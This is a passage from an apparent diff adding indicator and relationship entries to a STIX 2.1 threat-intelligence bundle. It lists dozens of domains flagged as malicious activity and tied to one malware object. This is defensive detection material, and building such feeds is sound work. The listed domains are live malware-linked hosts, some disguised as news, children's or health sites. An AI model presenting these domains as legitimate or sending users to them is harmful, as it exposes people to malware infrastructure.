"indicator--4cfc35db-fdc8-44f1-80f4-f16f31d57ac9", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='thetimespress.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--c8392e90-e397-486e-892b-b0afa8598c9d", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--4cfc35db-fdc8-44f1-80f4-f16f31d57ac9", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--caa1088e-b059-4e55-88fc-ac2d551bce6e", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='studyshifts.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--94a29ad3-1be5-4cc6-805c-53bec61594f6", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--caa1088e-b059-4e55-88fc-ac2d551bce6e", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--76986c93-92e4-4cd2-b926-6b485eda7de0", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='codinerom.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--cb9d0db0-4ea4-4353-89fe-59a979f2deaf", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--76986c93-92e4-4cd2-b926-6b485eda7de0", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--badf8cb3-8656-468d-8e56-7b4a5ae0d986", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='gamingcolonys.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--808b34bc-bfd6-4157-a350-5b5e6d544691", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--badf8cb3-8656-468d-8e56-7b4a5ae0d986", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--b3e39b3c-8545-44a7-af2a-f5c2508aa44f", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='kidzalnd.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--bca64110-4660-4e21-9380-545c3f74c206", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--b3e39b3c-8545-44a7-af2a-f5c2508aa44f", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--b2a6f949-764d-43b7-a4d5-58d93894e23a", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='wildhour.store']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--368d617d-abbf-4178-9b8f-af32e68606cf", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--b2a6f949-764d-43b7-a4d5-58d93894e23a", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--218412c9-fc82-47ac-b266-61a55e0e869c", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='wilddog.site']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--564656f4-f57f-4688-bb11-47f4274fc245", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--218412c9-fc82-47ac-b266-61a55e0e869c", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--f4127267-c5fe-4a31-944b-205412fc73be", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='garilc.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--59119271-cd2a-40e9-ac9d-2dd415c2ad31", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--f4127267-c5fe-4a31-944b-205412fc73be", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--12799d44-d0ac-4260-84b8-00961b236e35", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='runningandbeyond.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--1e4ab42d-aa28-4866-8543-f0f02f81aa5b", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--12799d44-d0ac-4260-84b8-00961b236e35", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--d199a816-18ab-4b57-876a-de83227c05f7", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='fullmoongreyparty.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--33fdfcce-b91b-4f95-955c-7ffcec963cc3", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--d199a816-18ab-4b57-876a-de83227c05f7", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--0a1f9750-94ac-4e65-b12d-02f93294434d", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='greenrunners.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--3c4ea6f0-c17c-46eb-9a79-913ed67ba474", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--0a1f9750-94ac-4e65-b12d-02f93294434d", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--66e9b877-a7a3-43fa-92d6-eb1ce8865d05", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='sunsandlights.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--3e538fad-b4cf-4568-a72c-531e554198cf", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--66e9b877-a7a3-43fa-92d6-eb1ce8865d05", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--14bf448f-f342-4473-891f-f629a3646f99", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='techpowerlight.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--e137fdbf-accf-44c0-9ddc-656e9c655a9b", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--14bf448f-f342-4473-891f-f629a3646f99", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--bcd0382f-d5e0-4d0c-b7d9-259526b76f50", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='gamezess.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--f8210b8a-3e5f-49ab-a2bc-9c7cf31dff03", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--bcd0382f-d5e0-4d0c-b7d9-259526b76f50", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--6d6e7b6d-f9d8-4643-beb7-20de3407c86f", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='planningly.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--e118ccad-4891-4949-9053-f060beca34fc", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--6d6e7b6d-f9d8-4643-beb7-20de3407c86f", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--c0d4f577-d9ec-4444-9bbd-f957458528c0", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='luxario.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--91a70333-194d-4333-87bd-2b65ed43d31b", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--c0d4f577-d9ec-4444-9bbd-f957458528c0", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--5ce992af-1b78-4d74-9852-f1f0804adec4", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='vinoneros.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--124ccd1c-ab92-40cf-8a6a-527d1301fbea", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--5ce992af-1b78-4d74-9852-f1f0804adec4", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--6d5db51c-8906-4f68-a16a-71057a81cd05", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='i-reality.online']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--c95e8cdf-a5db-4926-b680-1b2786dc8686", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--6d5db51c-8906-4f68-a16a-71057a81cd05", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--15809dbc-0a71-449a-8904-e53439207007", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='styleanature.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--7cc879db-d0a5-4ac4-9290-d40184c5b456", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--15809dbc-0a71-449a-8904-e53439207007", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--854540f7-684b-446e-8878-76a923f4047e", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='planetosgame.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--a8856294-9059-4b1c-8820-23ec158f566f", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--854540f7-684b-446e-8878-76a923f4047e", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--a49e36d7-7d4f-47d3-ad79-e97792b2bba5", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='kidsfunland.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--c3a2a500-f475-48b9-823b-d3cad2dd05f3", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--a49e36d7-7d4f-47d3-ad79-e97792b2bba5", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--2bee9630-eb58-4857-b63f-c094d0a6921f", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='fullstorelife.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--1b98dee5-f178-4c9d-82d7-b1b9378b35f8", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--2bee9630-eb58-4857-b63f-c094d0a6921f", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--89e1c9cb-9669-441e-a716-5d862bb83fd2", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='localtallk.store']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--1b2acb4b-472d-4f2f-ad85-2bebb1f5d9dd", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--89e1c9cb-9669-441e-a716-5d862bb83fd2", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--bf93aae7-fbbf-4cbe-a752-750b6b5bd8b8", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='allplaces.online']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--e17f31b0-ff50-454c-b532-bd589ab55519", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--bf93aae7-fbbf-4cbe-a752-750b6b5bd8b8", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--9a528464-1f35-46d9-9f41-3d18da3ce46e", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='sunclub.site']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--4f75b1a0-c502-46d7-bb72-63d58ea9cd72", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--9a528464-1f35-46d9-9f41-3d18da3ce46e", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--14be8b53-e140-49e6-9bf1-e0b05bc271f1", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='thenewsfill.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--a175a1f9-afd3-4438-a86d-2635c17a8463", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--14be8b53-e140-49e6-9bf1-e0b05bc271f1", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--d990c50d-01c1-4d31-b91d-e49cf2140852", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='wellnessjane.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--9d7875c3-676c-4bd2-a83d-f3adffeb094a", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--d990c50d-01c1-4d31-b91d-e49cf2140852", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--04abe274-09b7-4cb4-8aee-ad42866f9057", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='meehealth.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--347f46de-231a-4a4c-9c48-993f27159461", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--04abe274-09b7-4cb4-8aee-ad42866f9057", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--d0db9370-45d5-4f4e-a92f-c42dc76bd926", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='gameizes.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--bd2c502c-92f3-4c63-8d37-c350142afac1", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--d0db9370-45d5-4f4e-a92f-c42dc76bd926", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--580587fb-5aef-4f1d-a38b-ad62f65b4178", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='playozas.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--e3c868ed-b03d-4795-9c92-f9619e57fc4f", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--580587fb-5aef-4f1d-a38b-ad62f65b4178", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--ac232102-0fb2-4085-ab9f-ed63722f991c", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='foodyplates.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--304b998d-4c20-4c5b-aa1c-d31c95333ef5", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--ac232102-0fb2-4085-ab9f-ed63722f991c", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--a5b89757-ce47-4837-a44f-549d835b5567", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='designaroo.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--4d54bc3a-5e85-4f50-bbc0-fd276f219fbe", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--a5b89757-ce47-4837-a44f-549d835b5567", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--d888e429-1297-4f53-ad77-09b6c915f960", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='designspacing.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--878b6883-a0a7-44b4-8574-e3ab95cd35a0", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--d888e429-1297-4f53-ad77-09b6c915f960", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--733de6bc-ba60-474f-816d-2ffc77ddfb95", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='stockstiming.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--31177e7e-277f-4803-9eab-310a5eea3915", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--733de6bc-ba60-474f-816d-2ffc77ddfb95", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--f1a12e29-fac7-4ea3-9378-af73ce286e1a", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='hoteliqo.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--7734b93b-98e7-4b89-bfbf-8c2145f66966", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--f1a12e29-fac7-4ea3-9378-af73ce286e1a", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--a66e7ca6-d6a4-438b-abf0-bb2b4ba18b22", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='projectoid.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : 